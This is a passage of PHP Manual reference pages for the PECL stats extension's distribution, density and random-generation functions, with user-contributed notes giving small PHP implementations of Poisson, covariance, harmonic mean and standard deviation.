   return stats_cdf_t($p, $df, 2);
}

function get_t_df($p, $t){
   return stats_cdf_t($p, $t, 3);
}
?>


Calculates any one parameter of the gamma distribution given values for the others.

  • « stats_cdf_f
  • stats_cdf_laplace »
  • PHP Manual
  • Statistic Functions
  • Calculates any one parameter of the gamma distribution given values for the others.

stats_cdf_gamma

(PECL stats >= 1.0.0)

stats_cdf_gamma — Calculates any one parameter of the gamma distribution given values for the others.

Description

float stats_cdf_gamma ( float $par1 , float $par2 , float $par3 , int $which )
Warning

This function is currently not documented; only its argument list is available.

Parameters

par1

par2

par3

which

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Not documented

  • « stats_cdf_gamma
  • stats_cdf_logistic »
  • PHP Manual
  • Statistic Functions
  • Not documented

stats_cdf_laplace

(PECL stats >= 1.0.0)

stats_cdf_laplace — Not documented

Description

float stats_cdf_laplace ( float $par1 , float $par2 , float $par3 , int $which )
Warning

This function is currently not documented; only its argument list is available.

Parameters

par1

par2

par3

which

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Not documented

  • « stats_cdf_laplace
  • stats_cdf_negative_binomial »
  • PHP Manual
  • Statistic Functions
  • Not documented

stats_cdf_logistic

(PECL stats >= 1.0.0)

stats_cdf_logistic — Not documented

Description

float stats_cdf_logistic ( float $par1 , float $par2 , float $par3 , int $which )
Warning

This function is currently not documented; only its argument list is available.

Parameters

par1

par2

par3

which

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Calculates any one parameter of the negative binomial distribution given values for the others.

  • « stats_cdf_logistic
  • stats_cdf_noncentral_chisquare »
  • PHP Manual
  • Statistic Functions
  • Calculates any one parameter of the negative binomial distribution given values for the others.

stats_cdf_negative_binomial

(PECL stats >= 1.0.0)

stats_cdf_negative_binomial — Calculates any one parameter of the negative binomial distribution given values for the others.

Description

float stats_cdf_negative_binomial ( float $par1 , float $par2 , float $par3 , int $which )
Warning

This function is currently not documented; only its argument list is available.

Parameters

par1

par2

par3

which

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Calculates any one parameter of the non-central chi-square distribution given values for the others.

  • « stats_cdf_negative_binomial
  • stats_cdf_noncentral_f »
  • PHP Manual
  • Statistic Functions
  • Calculates any one parameter of the non-central chi-square distribution given values for the others.

stats_cdf_noncentral_chisquare

(PECL stats >= 1.0.0)

stats_cdf_noncentral_chisquare — Calculates any one parameter of the non-central chi-square distribution given values for the others.

Description

float stats_cdf_noncentral_chisquare ( float $par1 , float $par2 , float $par3 , int $which )
Warning

This function is currently not documented; only its argument list is available.

Parameters

par1

par2

par3

which

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Calculates any one parameter of the Non-central F distribution given values for the others.

  • « stats_cdf_noncentral_chisquare
  • stats_cdf_poisson »
  • PHP Manual
  • Statistic Functions
  • Calculates any one parameter of the Non-central F distribution given values for the others.

stats_cdf_noncentral_f

(PECL stats >= 1.0.0)

stats_cdf_noncentral_f — Calculates any one parameter of the Non-central F distribution given values for the others.

Description

float stats_cdf_noncentral_f ( float $par1 , float $par2 , float $par3 , float $par4 , int $which )
Warning

This function is currently not documented; only its argument list is available.

Parameters

par1

par2

par3

par4

which

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Calculates any one parameter of the Poisson distribution given values for the others.

  • « stats_cdf_noncentral_f
  • stats_cdf_t »
  • PHP Manual
  • Statistic Functions
  • Calculates any one parameter of the Poisson distribution given values for the others.

stats_cdf_poisson

(PECL stats >= 1.0.0)

stats_cdf_poisson — Calculates any one parameter of the Poisson distribution given values for the others.

Description

float stats_cdf_poisson ( float $par1 , float $par2 , int $which )
Warning

This function is currently not documented; only its argument list is available.

Parameters

par1

par2

which

Return Values

User Contributed Notes

s at nder dot com 23-Nov-2012 06:33
A simple poisson-distribution function, which only works for relatively small numbers (maximum of ~100/100 for most systems):

<?php

function factorial($number)
{
        if ($number < 2) {
                return 1;
        } else {
                return ($number * factorial($number-1));
        }
}

function poisson($chance, $occurrence)
{
        $e = exp(1);

        $a = pow($e, (-1 * $chance));
        $b = pow($chance,$occurrence);
        $c = factorial($occurrence);

        return $a * $b / $c;
}

$test = poisson(100,100);
echo $test . "\n";

?>


Calculates any one parameter of the T distribution given values for the others.

  • « stats_cdf_poisson
  • stats_cdf_uniform »
  • PHP Manual
  • Statistic Functions
  • Calculates any one parameter of the T distribution given values for the others.

stats_cdf_t

(PECL stats >= 1.0.0)

stats_cdf_t — Calculates any one parameter of the T distribution given values for the others.

Description

float stats_cdf_t ( float $par1 , float $par2 , int $which )
Warning

This function is currently not documented; only its argument list is available.

Parameters

par1

par2

which

Return Values

User Contributed Notes

Anonymous 13-Apr-2012 04:30
Input  and return values of stats_cdf_t depends on the $which-parameter:
<?php
function get_t_p($t, $df){
  return stats_cdf_t($t, $df, 1);
}
function get_t_t($p, $df){
  return stats_cdf_t($p, $df, 2);
}
function get_t_df($p, $t){
  return stats_cdf_t($p, $t, 3);
}
?>
Brian 14-Oct-2010 11:14
In order to match the output of this function with Excel's TDIST function, you must take 1 - the value.  For example, for a two-tailed T-distribution for x=4 and degrees of freedom=2, the formula would be:

(1 - stats_cdf_t(4, 2, 1)) * 2

For a single tail, do not include the multiply by 2 portion.


Not documented

  • « stats_cdf_t
  • stats_cdf_weibull »
  • PHP Manual
  • Statistic Functions
  • Not documented

stats_cdf_uniform

(PECL stats >= 1.0.0)

stats_cdf_uniform — Not documented

Description

float stats_cdf_uniform ( float $par1 , float $par2 , float $par3 , int $which )
Warning

This function is currently not documented; only its argument list is available.

Parameters

par1

par2

par3

which

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Not documented

  • « stats_cdf_uniform
  • stats_covariance »
  • PHP Manual
  • Statistic Functions
  • Not documented

stats_cdf_weibull

(PECL stats >= 1.0.0)

stats_cdf_weibull — Not documented

Description

float stats_cdf_weibull ( float $par1 , float $par2 , float $par3 , int $which )
Warning

This function is currently not documented; only its argument list is available.

Parameters

par1

par2

par3

which

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Computes the covariance of two data sets

  • « stats_cdf_weibull
  • stats_den_uniform »
  • PHP Manual
  • Statistic Functions
  • Computes the covariance of two data sets

stats_covariance

(PECL stats >= 1.0.0)

stats_covariance — Computes the covariance of two data sets

Description

float stats_covariance ( array $a , array $b )
Warning

This function is currently not documented; only its argument list is available.

Parameters

a

b

Return Values

User Contributed Notes

kanniprabu at gmail dot com 16-Mar-2013 07:30
<?php
    //Covariance Calculation
    function standard_covariance($aValues,$bValues)
    {
        $a= (array_sum($aValues)*array_sum($bValues))/count($aValues);
        $ret = array();
        for($i=0;$i<count($aValues);$i++)
        {
            $ret[$i]=$aValues[$i]*$bValues[$i];
        }
        $b=(array_sum($ret)-$a)/(count($aValues)-1);
        return (float) $b;
    }
    $aValues=array(3,4,5,7);
    $bValues=array(10,11,13,14);
    echo standard_covariance($aValues,$bValues);
?>


Not documented

  • « stats_covariance
  • stats_dens_beta »
  • PHP Manual
  • Statistic Functions
  • Not documented

stats_den_uniform

(PECL stats >= 1.0.0)

stats_den_uniform — Not documented

Description

float stats_den_uniform ( float $x , float $a , float $b )
Warning

This function is currently not documented; only its argument list is available.

Parameters

x

a

b

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Not documented

  • « stats_den_uniform
  • stats_dens_cauchy »
  • PHP Manual
  • Statistic Functions
  • Not documented

stats_dens_beta

(PECL stats >= 1.0.0)

stats_dens_beta — Not documented

Description

float stats_dens_beta ( float $x , float $a , float $b )
Warning

This function is currently not documented; only its argument list is available.

Parameters

x

a

b

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Not documented

  • « stats_dens_beta
  • stats_dens_chisquare »
  • PHP Manual
  • Statistic Functions
  • Not documented

stats_dens_cauchy

(PECL stats >= 1.0.0)

stats_dens_cauchy — Not documented

Description

float stats_dens_cauchy ( float $x , float $ave , float $stdev )
Warning

This function is currently not documented; only its argument list is available.

Parameters

x

ave

stdev

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Not documented

  • « stats_dens_cauchy
  • stats_dens_exponential »
  • PHP Manual
  • Statistic Functions
  • Not documented

stats_dens_chisquare

(PECL stats >= 1.0.0)

stats_dens_chisquare — Not documented

Description

float stats_dens_chisquare ( float $x , float $dfr )
Warning

This function is currently not documented; only its argument list is available.

Parameters

x

dfr

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Not documented

  • « stats_dens_chisquare
  • stats_dens_f »
  • PHP Manual
  • Statistic Functions
  • Not documented

stats_dens_exponential

(PECL stats >= 1.0.0)

stats_dens_exponential — Not documented

Description

float stats_dens_exponential ( float $x , float $scale )
Warning

This function is currently not documented; only its argument list is available.

Parameters

x

scale

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « stats_dens_exponential
  • stats_dens_gamma »
  • PHP Manual
  • Statistic Functions
  • Description

stats_dens_f

(PECL stats >= 1.0.0)

stats_dens_f —

Description

float stats_dens_f ( float $x , float $dfr1 , float $dfr2 )
Warning

This function is currently not documented; only its argument list is available.

Parameters

x

dfr1

dfr2

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Not documented

  • « stats_dens_f
  • stats_dens_laplace »
  • PHP Manual
  • Statistic Functions
  • Not documented

stats_dens_gamma

(PECL stats >= 1.0.0)

stats_dens_gamma — Not documented

Description

float stats_dens_gamma ( float $x , float $shape , float $scale )
Warning

This function is currently not documented; only its argument list is available.

Parameters

x

shape

scale

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Not documented

  • « stats_dens_gamma
  • stats_dens_logistic »
  • PHP Manual
  • Statistic Functions
  • Not documented

stats_dens_laplace

(PECL stats >= 1.0.0)

stats_dens_laplace — Not documented

Description

float stats_dens_laplace ( float $x , float $ave , float $stdev )
Warning

This function is currently not documented; only its argument list is available.

Parameters

x

ave

stdev

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Not documented

  • « stats_dens_laplace
  • stats_dens_negative_binomial »
  • PHP Manual
  • Statistic Functions
  • Not documented

stats_dens_logistic

(PECL stats >= 1.0.0)

stats_dens_logistic — Not documented

Description

float stats_dens_logistic ( float $x , float $ave , float $stdev )
Warning

This function is currently not documented; only its argument list is available.

Parameters

x

ave

stdev

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Not documented

  • « stats_dens_logistic
  • stats_dens_normal »
  • PHP Manual
  • Statistic Functions
  • Not documented

stats_dens_negative_binomial

(PECL stats >= 1.0.0)

stats_dens_negative_binomial — Not documented

Description

float stats_dens_negative_binomial ( float $x , float $n , float $pi )
Warning

This function is currently not documented; only its argument list is available.

Parameters

x

n

pi

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Not documented

  • « stats_dens_negative_binomial
  • stats_dens_pmf_binomial »
  • PHP Manual
  • Statistic Functions
  • Not documented

stats_dens_normal

(PECL stats >= 1.0.0)

stats_dens_normal — Not documented

Description

float stats_dens_normal ( float $x , float $ave , float $stdev )
Warning

This function is currently not documented; only its argument list is available.

Parameters

x

ave

stdev

Return Values

User Contributed Notes

Anonymous 11-Aug-2009 01:12
There's a way to try it out:

<?php
...
echo"<pre>\n";
for($x=-2;$x<=2;$x+=0.1){
  echo"$i; ".stats_dens_normal($x,1,1)."\n";
}
echo"</pre>\n";
?>

Observe the result (to determine yourself), or
save it as "stats_dens_normal.csv",
load it into Open Office and make a graph of it
Anonymous 28-Feb-2009 11:37
I'm not certain that I've figured this one out correctly but it should return the value of a (Gaussian) normal distribution of the given properties at the given location.
$x - the X-Value to request
$ave - the 'expected value' (i.e. location of the peak) for the distribution. For most uses this will just be 0.
$stdev - the standard deviation of the distribution. For most uses this will be 1.


Not documented

  • « stats_dens_normal
  • stats_dens_pmf_hypergeometric »
  • PHP Manual
  • Statistic Functions
  • Not documented

stats_dens_pmf_binomial

(PECL stats >= 1.0.0)

stats_dens_pmf_binomial — Not documented

Description

float stats_dens_pmf_binomial ( float $x , float $n , float $pi )
Warning

This function is currently not documented; only its argument list is available.

Parameters

x

n

pi

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « stats_dens_pmf_binomial
  • stats_dens_pmf_poisson »
  • PHP Manual
  • Statistic Functions
  • Description

stats_dens_pmf_hypergeometric

(PECL stats >= 1.0.0)

stats_dens_pmf_hypergeometric —

Description

float stats_dens_pmf_hypergeometric ( float $n1 , float $n2 , float $N1 , float $N2 )
Warning

This function is currently not documented; only its argument list is available.

Parameters

n1

n2

N1

N2

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Not documented

  • « stats_dens_pmf_hypergeometric
  • stats_dens_t »
  • PHP Manual
  • Statistic Functions
  • Not documented

stats_dens_pmf_poisson

(PECL stats >= 1.0.0)

stats_dens_pmf_poisson — Not documented

Description

float stats_dens_pmf_poisson ( float $x , float $lb )
Warning

This function is currently not documented; only its argument list is available.

Parameters

x

lb

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Not documented

  • « stats_dens_pmf_poisson
  • stats_dens_weibull »
  • PHP Manual
  • Statistic Functions
  • Not documented

stats_dens_t

(PECL stats >= 1.0.0)

stats_dens_t — Not documented

Description

float stats_dens_t ( float $x , float $dfr )
Warning

This function is currently not documented; only its argument list is available.

Parameters

x

dfr

Return Values

User Contributed Notes

Anonymous 28-Feb-2009 11:12
This function returns the value of a student-T-distribution with the total area of 1.
$dfr are the degrees of freedom for that distribution (aka k)
$x is the X-Value for which the value should be returned


Not documented

  • « stats_dens_t
  • stats_harmonic_mean »
  • PHP Manual
  • Statistic Functions
  • Not documented

stats_dens_weibull

(PECL stats >= 1.0.0)

stats_dens_weibull — Not documented

Description

float stats_dens_weibull ( float $x , float $a , float $b )
Warning

This function is currently not documented; only its argument list is available.

Parameters

x

a

b

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Returns the harmonic mean of an array of values

  • « stats_dens_weibull
  • stats_kurtosis »
  • PHP Manual
  • Statistic Functions
  • Returns the harmonic mean of an array of values

stats_harmonic_mean

(PECL stats >= 1.0.0)

stats_harmonic_mean — Returns the harmonic mean of an array of values

Description

number stats_harmonic_mean ( array $a )
Warning

This function is currently not documented; only its argument list is available.

Parameters

a

Return Values

User Contributed Notes

Daniel Morris (www.danielxmorris.com) 15-Aug-2008 04:51
I wrote this to calculate harmonic averages in my shares program.  Hopefully this can help someone who doesn't want to use PECL.  The function accepts an unlimited number of arguments without the need to place them into an array, which is better than the way the PECL extension handles the function.

<?php

/**
 *  @author    Daniel Morris
*/
function harmonic () {
    $num_args = func_num_args ();
    for ($i = 0; $i < $num_args; $i++) {
        $sum += 1 / func_get_arg ($i);
    }
    return $num_args / $sum;
}

// Tests

echo harmonic (1, 2, 3, 4, 5);
echo harmonic (-1, 3, 4, 10293);
echo harmonic (-1, -2, -3, -4, -5);

//  2.1897810218978
//  -9.6022389365052
//  -2.1897810218978

?>


Computes the kurtosis of the data in the array

  • « stats_harmonic_mean
  • stats_rand_gen_beta »
  • PHP Manual
  • Statistic Functions
  • Computes the kurtosis of the data in the array

stats_kurtosis

(PECL stats >= 1.0.0)

stats_kurtosis — Computes the kurtosis of the data in the array

Description

float stats_kurtosis ( array $a )
Warning

This function is currently not documented; only its argument list is available.

Parameters

a

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Generates beta random deviate

  • « stats_kurtosis
  • stats_rand_gen_chisquare »
  • PHP Manual
  • Statistic Functions
  • Generates beta random deviate

stats_rand_gen_beta

(PECL stats >= 1.0.0)

stats_rand_gen_beta — Generates beta random deviate

Description

float stats_rand_gen_beta ( float $a , float $b )

Returns a random deviate from the beta distribution with parameters A and B. The density of the beta is x^(a-1) * (1-x)^(b-1) / B(a,b) for 0 < x <. Method R. C. H. Cheng.

Parameters

a

b

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Generates random deviate from the distribution of a chisquare with "df" degrees of freedom random variable.

  • « stats_rand_gen_beta
  • stats_rand_gen_exponential »
  • PHP Manual
  • Statistic Functions
  • Generates random deviate from the distribution of a chisquare with "df" degrees of freedom random variable.

stats_rand_gen_chisquare

(PECL stats >= 1.0.0)

stats_rand_gen_chisquare — Generates random deviate from the distribution of a chisquare with "df" degrees of freedom random variable.

Description

float stats_rand_gen_chisquare ( float $df )
Warning

This function is currently not documented; only its argument list is available.

Parameters

df

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Generates a single random deviate from an exponential distribution with mean "av"

  • « stats_rand_gen_chisquare
  • stats_rand_gen_f »
  • PHP Manual
  • Statistic Functions
  • Generates a single random deviate from an exponential distribution with mean "av"

stats_rand_gen_exponential

(PECL stats >= 1.0.0)

stats_rand_gen_exponential — Generates a single random deviate from an exponential distribution with mean "av"

Description

float stats_rand_gen_exponential ( float $av )
Warning

This function is currently not documented; only its argument list is available.

Parameters

av

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Generates a random deviate

  • « stats_rand_gen_exponential
  • stats_rand_gen_funiform »
  • PHP Manual
  • Statistic Functions
  • Generates a random deviate

stats_rand_gen_f

(PECL stats >= 1.0.0)

stats_rand_gen_f — Generates a random deviate

Description

float stats_rand_gen_f ( float $dfn , float $dfd )

Generates a random deviate from the F (variance ratio) distribution with "dfn" degrees of freedom in the numerator and "dfd" degrees of freedom in the denominator. Method : directly generates ratio of chisquare variates.

Parameters

dfn

dfd

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Generates uniform float between low (exclusive) and high (exclusive)

  • « stats_rand_gen_f
  • stats_rand_gen_gamma »
  • PHP Manual
  • Statistic Functions
  • Generates uniform float between low (exclusive) and high (exclusive)

stats_rand_gen_funiform

(PECL stats >= 1.0.0)

stats_rand_gen_funiform — Generates uniform float between low (exclusive) and high (exclusive)

Description

float stats_rand_gen_funiform ( float $low , float $high )
Warning

This function is currently not documented; only its argument list is available.

Parameters

low

high

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Generates random deviates from a gamma distribution

  • « stats_rand_gen_funiform
  • stats_rand_gen_ibinomial_negative »
  • PHP Manual
  • Statistic Functions
  • Generates random deviates from a gamma distribution

stats_rand_gen_gamma

(PECL stats >= 1.0.0)

stats_rand_gen_gamma — Generates random deviates from a gamma distribution

Description

float stats_rand_gen_gamma ( float $a , float $r )

Generates random deviates from the gamma distribution whose density is (A**R)/Gamma(R) * X**(R-1) * Exp(-A*X).

Parameters

a

location parameter of Gamma distribution (a > 0).

r

shape parameter of Gamma distribution (r > 0).

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Generates a single random deviate from a negative binomial distribution. Arguments : n - the number of trials in the negative binomial distribution from which a random deviate is to be generated (n > 0), p - the probability of an event (0 < p < 1)).

  • « stats_rand_gen_gamma
  • stats_rand_gen_ibinomial »
  • PHP Manual
  • Statistic Functions
  • Generates a single random deviate from a negative binomial distribution. Arguments : n - the number of trials in the negative binomial distribution from which a random deviate is to be generated (n > 0), p - the probability of an event (0 < p < 1)).

stats_rand_gen_ibinomial_negative

(PECL stats >= 1.0.0)

stats_rand_gen_ibinomial_negative — Generates a single random deviate from a negative binomial distribution. Arguments : n - the number of trials in the negative binomial distribution from which a random deviate is to be generated (n > 0), p - the probability of an event (0 < p < 1)).

Description

int stats_rand_gen_ibinomial_negative ( int $n , float $p )
Warning

This function is currently not documented; only its argument list is available.

Parameters

n

p

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Generates a single random deviate from a binomial distribution whose number of trials is "n" (n >= 0) and whose probability of an event in each trial is "pp" ([0;1]). Method : algorithm BTPE

  • « stats_rand_gen_ibinomial_negative
  • stats_rand_gen_int »
  • PHP Manual
  • Statistic Functions
  • Generates a single random deviate from a binomial distribution whose number of trials is "n" (n >= 0) and whose probability of an event in each trial is "pp" ([0;1]). Method : algorithm BTPE

stats_rand_gen_ibinomial

(PECL stats >= 1.0.0)

stats_rand_gen_ibinomial — Generates a single random deviate from a binomial distribution whose number of trials is "n" (n >= 0) and whose probability of an event in each trial is "pp" ([0;1]). Method : algorithm BTPE

Description

int stats_rand_gen_ibinomial ( int $n , float $pp )
Warning

This function is currently not documented; only its argument list is available.

Parameters

n

pp

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Generates random integer between 1 and 2147483562

  • « stats_rand_gen_ibinomial
  • stats_rand_gen_ipoisson »
  • PHP Manual
  • Statistic Functions
  • Generates random integer between 1 and 2147483562

stats_rand_gen_int

(PECL stats >= 1.0.0)

stats_rand_gen_int — Generates random integer between 1 and 2147483562

Description

int stats_rand_gen_int ( void )
Warning

This function is currently not documented; only its argument list is available.

Parameters

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Generates a single random deviate from a Poisson distribution with mean "mu" (mu >= 0.0).

  • « stats_rand_gen_int
  • stats_rand_gen_iuniform »
  • PHP Manual
  • Statistic Functions
  • Generates a single random deviate from a Poisson distribution with mean "mu" (mu >= 0.0).

stats_rand_gen_ipoisson

(PECL stats >= 1.0.0)

stats_rand_gen_ipoisson — Generates a single random deviate from a Poisson distribution with mean "mu" (mu >= 0.0).

Description

int stats_rand_gen_ipoisson ( float $mu )
Warning

This function is currently not documented; only its argument list is available.

Parameters

mu

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Generates integer uniformly distributed between LOW (inclusive) and HIGH (inclusive)

  • « stats_rand_gen_ipoisson
  • stats_rand_gen_noncenral_chisquare »
  • PHP Manual
  • Statistic Functions
  • Generates integer uniformly distributed between LOW (inclusive) and HIGH (inclusive)

stats_rand_gen_iuniform

(PECL stats >= 1.0.0)

stats_rand_gen_iuniform — Generates integer uniformly distributed between LOW (inclusive) and HIGH (inclusive)

Description

int stats_rand_gen_iuniform ( int $low , int $high )
Warning

This function is currently not documented; only its argument list is available.

Parameters

low

high

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Generates random deviate from the distribution of a noncentral chisquare with "df" degrees of freedom and noncentrality parameter "xnonc". d must be >= 1.0, xnonc must >= 0.0

  • « stats_rand_gen_iuniform
  • stats_rand_gen_noncentral_f »
  • PHP Manual
  • Statistic Functions
  • Generates random deviate from the distribution of a noncentral chisquare with "df" degrees of freedom and noncentrality parameter "xnonc". d must be >= 1.0, xnonc must >= 0.0

stats_rand_gen_noncenral_chisquare

(PECL stats >= 1.0.0)

stats_rand_gen_noncenral_chisquare — Generates random deviate from the distribution of a noncentral chisquare with "df" degrees of freedom and noncentrality parameter "xnonc". d must be >= 1.0, xnonc must >= 0.0

Description

float stats_rand_gen_noncenral_chisquare ( float $df , float $xnonc )
Warning

This function is currently not documented; only its argument list is available.

Parameters

df

xnonc

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Generates a random deviate from the noncentral F (variance ratio) distribution with "dfn" degrees of freedom in the numerator, and "dfd" degrees of freedom in the denominator, and noncentrality parameter "xnonc". Method : directly generates ratio of noncentral numerator chisquare variate to central 

  • « stats_rand_gen_noncenral_chisquare
  • stats_rand_gen_noncentral_t »
  • PHP Manual
  • Statistic Functions
  • Generates a random deviate from the noncentral F (variance ratio) distribution with "dfn" degrees of freedom in the numerator, and "dfd" degrees of freedom in the denominator, and noncentrality parameter "xnonc". Method : directly generates ratio of noncentral numerator chisquare variate to central denominator chisquare variate.

stats_rand_gen_noncentral_f

(PECL stats >= 1.0.0)

stats_rand_gen_noncentral_f — Generates a random deviate from the noncentral F (variance ratio) distribution with "dfn" degrees of freedom in the numerator, and "dfd" degrees of freedom in the denominator, and noncentrality parameter "xnonc". Method : directly generates ratio of noncentral numerator chisquare variate to central denominator chisquare variate.

Description

float stats_rand_gen_noncentral_f ( float $dfn , float $dfd , float $xnonc )
Warning

This function is currently not documented; only its argument list is available.

Parameters

dfn

dfd

xnonc

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Generates a single random deviate from a noncentral T distribution

  • « stats_rand_gen_noncentral_f
  • stats_rand_gen_normal »
  • PHP Manual
  • Statistic Functions
  • Generates a single random deviate from a noncentral T distribution

stats_rand_gen_noncentral_t

(PECL stats >= 1.0.0)

stats_rand_gen_noncentral_t — Generates a single random deviate from a noncentral T distribution

Description

float stats_rand_gen_noncentral_t ( float $df , float $xnonc )
Warning

This function is currently not documented; only its argument list is available.

Parameters

df

xnonc

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Generates a single random deviate from a normal distribution with mean, av, and standard deviation, sd (sd >= 0). Method : Renames SNORM from TOMS as slightly modified by BWB to use RANF instead of SUNIF.

  • « stats_rand_gen_noncentral_t
  • stats_rand_gen_t »
  • PHP Manual
  • Statistic Functions
  • Generates a single random deviate from a normal distribution with mean, av, and standard deviation, sd (sd >= 0). Method : Renames SNORM from TOMS as slightly modified by BWB to use RANF instead of SUNIF.

stats_rand_gen_normal

(PECL stats >= 1.0.0)

stats_rand_gen_normal — Generates a single random deviate from a normal distribution with mean, av, and standard deviation, sd (sd >= 0). Method : Renames SNORM from TOMS as slightly modified by BWB to use RANF instead of SUNIF.

Description

float stats_rand_gen_normal ( float $av , float $sd )
Warning

This function is currently not documented; only its argument list is available.

Parameters

av

sd

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Generates a single random deviate from a T distribution

  • « stats_rand_gen_normal
  • stats_rand_get_seeds »
  • PHP Manual
  • Statistic Functions
  • Generates a single random deviate from a T distribution

stats_rand_gen_t

(PECL stats >= 1.0.0)

stats_rand_gen_t — Generates a single random deviate from a T distribution

Description

float stats_rand_gen_t ( float $df )
Warning

This function is currently not documented; only its argument list is available.

Parameters

df

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Not documented

  • « stats_rand_gen_t
  • stats_rand_phrase_to_seeds »
  • PHP Manual
  • Statistic Functions
  • Not documented

stats_rand_get_seeds

(PECL stats >= 1.0.0)

stats_rand_get_seeds — Not documented

Description

array stats_rand_get_seeds ( void )
Warning

This function is currently not documented; only its argument list is available.

Parameters

Return Values

User Contributed Notes

There are no user contributed notes for this page.


generate two seeds for the RGN random number generator

  • « stats_rand_get_seeds
  • stats_rand_ranf »
  • PHP Manual
  • Statistic Functions
  • generate two seeds for the RGN random number generator

stats_rand_phrase_to_seeds

(PECL stats >= 1.0.0)

stats_rand_phrase_to_seeds — generate two seeds for the RGN random number generator

Description

array stats_rand_phrase_to_seeds ( string $phrase )
Warning

This function is currently not documented; only its argument list is available.

Parameters

phrase

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Returns a random floating point number from a uniform distribution over 0 - 1 (endpoints of this interval are not returned) using the current generator

  • « stats_rand_phrase_to_seeds
  • stats_rand_setall »
  • PHP Manual
  • Statistic Functions
  • Returns a random floating point number from a uniform distribution over 0 - 1 (endpoints of this interval are not returned) using the current generator

stats_rand_ranf

(PECL stats >= 1.0.0)

stats_rand_ranf — Returns a random floating point number from a uniform distribution over 0 - 1 (endpoints of this interval are not returned) using the current generator

Description

float stats_rand_ranf ( void )
Warning

This function is currently not documented; only its argument list is available.

Parameters

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Not documented

  • « stats_rand_ranf
  • stats_skew »
  • PHP Manual
  • Statistic Functions
  • Not documented

stats_rand_setall

(PECL stats >= 1.0.0)

stats_rand_setall — Not documented

Description

void stats_rand_setall ( int $iseed1 , int $iseed2 )
Warning

This function is currently not documented; only its argument list is available.

Parameters

iseed1

iseed2

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Computes the skewness of the data in the array

  • « stats_rand_setall
  • stats_standard_deviation »
  • PHP Manual
  • Statistic Functions
  • Computes the skewness of the data in the array

stats_skew

(PECL stats >= 1.0.0)

stats_skew — Computes the skewness of the data in the array

Description

float stats_skew ( array $a )
Warning

This function is currently not documented; only its argument list is available.

Parameters

a

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Returns the standard deviation

  • « stats_skew
  • stats_stat_binomial_coef »
  • PHP Manual
  • Statistic Functions
  • Returns the standard deviation

stats_standard_deviation

(PECL stats >= 1.0.0)

stats_standard_deviation — Returns the standard deviation

Description

float stats_standard_deviation ( array $a [, bool $sample = false ] )

Parameters

a

The array of data to find the standard deviation for. Note that all values of the array will be cast to float.

sample

Indicates if a represents a sample of the population; defaults to FALSE.

Return Values

Returns the standard deviation on success; FALSE on failure.

Errors/Exceptions

Raises an E_WARNING when there are fewer than 2 values in a.

User Contributed Notes

levim at php dot net 25-Feb-2014 02:15
Here's an implementation that adheres to the PECL source quite strictly. This is useful for people who want to use it but don't have the extension, as well as for people who want to understand what is going on.

<?php

if (!function_exists('stats_standard_deviation')) {
    /**
     * This user-land implementation follows the implementation quite strictly;
     * it does not attempt to improve the code or algorithm in any way. It will
     * raise a warning if you have fewer than 2 values in your array, just like
     * the extension does (although as an E_USER_WARNING, not E_WARNING).
     *
     * @param array $a
     * @param bool $sample [optional] Defaults to false
     * @return float|bool The standard deviation or false on error.
     */
    function stats_standard_deviation(array $a, $sample = false) {
        $n = count($a);
        if ($n === 0) {
            trigger_error("The array has zero elements", E_USER_WARNING);
            return false;
        }
        if ($sample && $n === 1) {
            trigger_error("The array has only 1 element", E_USER_WARNING);
            return false;
        }
        $mean = array_sum($a) / $n;
        $carry = 0.0;
        foreach ($a as $val) {
            $d = ((double) $val) - $mean;
            $carry += $d * $d;
        };
        if ($sample) {
           --$n;
        }
        return sqrt($carry / $n);
    }
}

?>
tripollite at gmail dot com 28-Jun-2012 06:58
Function to calculate square of value - mean

<?php
function sd_square($x, $mean) { return pow($x - $mean,2); }
?>

Function to calculate standard deviation (uses sd_square)
<?php
function sd($array) {

// square root of sum of squares devided by N-1
return sqrt(array_sum(array_map("sd_square", $array, array_fill(0,count($array), (array_sum($array) / count($array)) ) ) ) / (count($array)) );
}
?>

works better if you don't add +1 to the count

standard deviation of a constant must be 0 ( http://en.wikipedia.org/wiki/Standard_deviation )

different way :
<?php
class Tmath{
    public static function variance($data, $round = 2)
    {
        if( count($data) == 0 )
            return NULL;
        $total_ecart = 0;
        $moyenne = self::moyenne($data, 10*$round);
        if( $moyenne == 0)
            return 0;
        foreach( $data as $element)
        {
